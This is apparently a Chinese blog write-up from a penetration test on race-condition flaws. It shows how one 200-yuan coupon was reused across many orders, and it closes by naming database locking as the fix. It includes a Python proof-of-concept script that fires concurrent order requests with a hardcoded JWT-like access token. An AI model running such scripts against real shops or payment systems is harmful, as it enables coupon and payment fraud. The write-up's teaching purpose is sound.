概念:
競爭條件是系統中的一種反常現象,由於現代Linux系統中大量使用並發編程,對資源進行共享,如果產生錯誤的訪問模式,便可能產生內存泄露,系統崩潰,數據破壞,甚至安全問題。競爭條件漏洞就是多個進程訪問同一資源時產生的時間或者序列的沖突,並利用這個沖突來對系統進行攻擊。一個看起來無害的程序如果被惡意攻擊者利用,將發生競爭條件漏洞。
曾經出現過的漏洞:
網上大部分是使用轉賬的列子來說明的,曾經烏雲提現環節就出現過這個漏洞,當時大神也是提現到賬3000塊,官方24小時緊急修復,承認提現有效。美滋滋,但願烏雲早日歸來,仍是少年。
今天在滲透測試中,剛好碰到了此類漏洞,就簡單實踐下。
使用一張200塊的優惠券,可以重復下單多次,達到一張優惠券,多次使用的目的。
基本方法就是,在提交訂單的時候,抓取包,然后然后然后構造腳本,進行多線程並發操作。
備注:這最初一直使用burp intrude 的模塊,設置如下:
payloads payload type: Null payloads
payloads options [Null payloads] Contunue indefinietly
Options Number of threads: 20
死活測試不出來,不知道是不是因為這個模塊,默認會發送一次請求包的原因。
最后構造Python腳本,成功復現此漏洞。
coupon_poc.py 如下:
#!/usr/bin/env python #coding: utf8 #author: by Gandolf import requests import json import threading import queue url = "https://www.baidu.com/api/xxx/" payload = {"couponDetailId":56194,"email":"test123@gmail.com","consigneeId":2269,"skuId":1960,"qty":1,"orderType":2} headers = { 'Accept': 'application/json', 'deviceId': 'fcc62818-9949-21c4-0832-5396fea4363b', 'languageId': 'en', 'appVersion': '8', 'deviceType': 'android', 'deviceMode': 'Google Nexus S', 'platformVersion': '4.1.1', 'countryId': 'PH', 'accessToken': 'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJha3VsYWt1Iiwic3ViIjoiOTYxOTYxOTYxMSIsImlhdCI6MTU2NTk1MDU0NSwiZXhwIjoxNTgxNTAyNTQ1fQ.AUXf-mq38AdGhDYsRyIl5I', 'Content-Type': 'application/json', 'Content-Length': '106', 'Host': 'www.baidu.com', 'Connection': 'close', 'Accept-Encoding': 'gzip, deflate', 'User-Agent': 'okhttp/3.12.0', 'Cache-Control': 'no-cache' } threads = 25 q = queue.Queue() for i in range(50): q.put(i) def post(): while not q.empty(): q.get() r = requests.post(url, data=json.dumps(payload), headers=headers) print(r.json()) if __name__ == '__main__': for i in range(threads): t = threading.Thread(target=post) t.start() for i in range(threads): t.join()
此類漏洞一般出現在:簽到,積分兌換,轉賬,優惠券,提現,文件上傳等環節。
修復方案當然是給數據庫加鎖啦
完!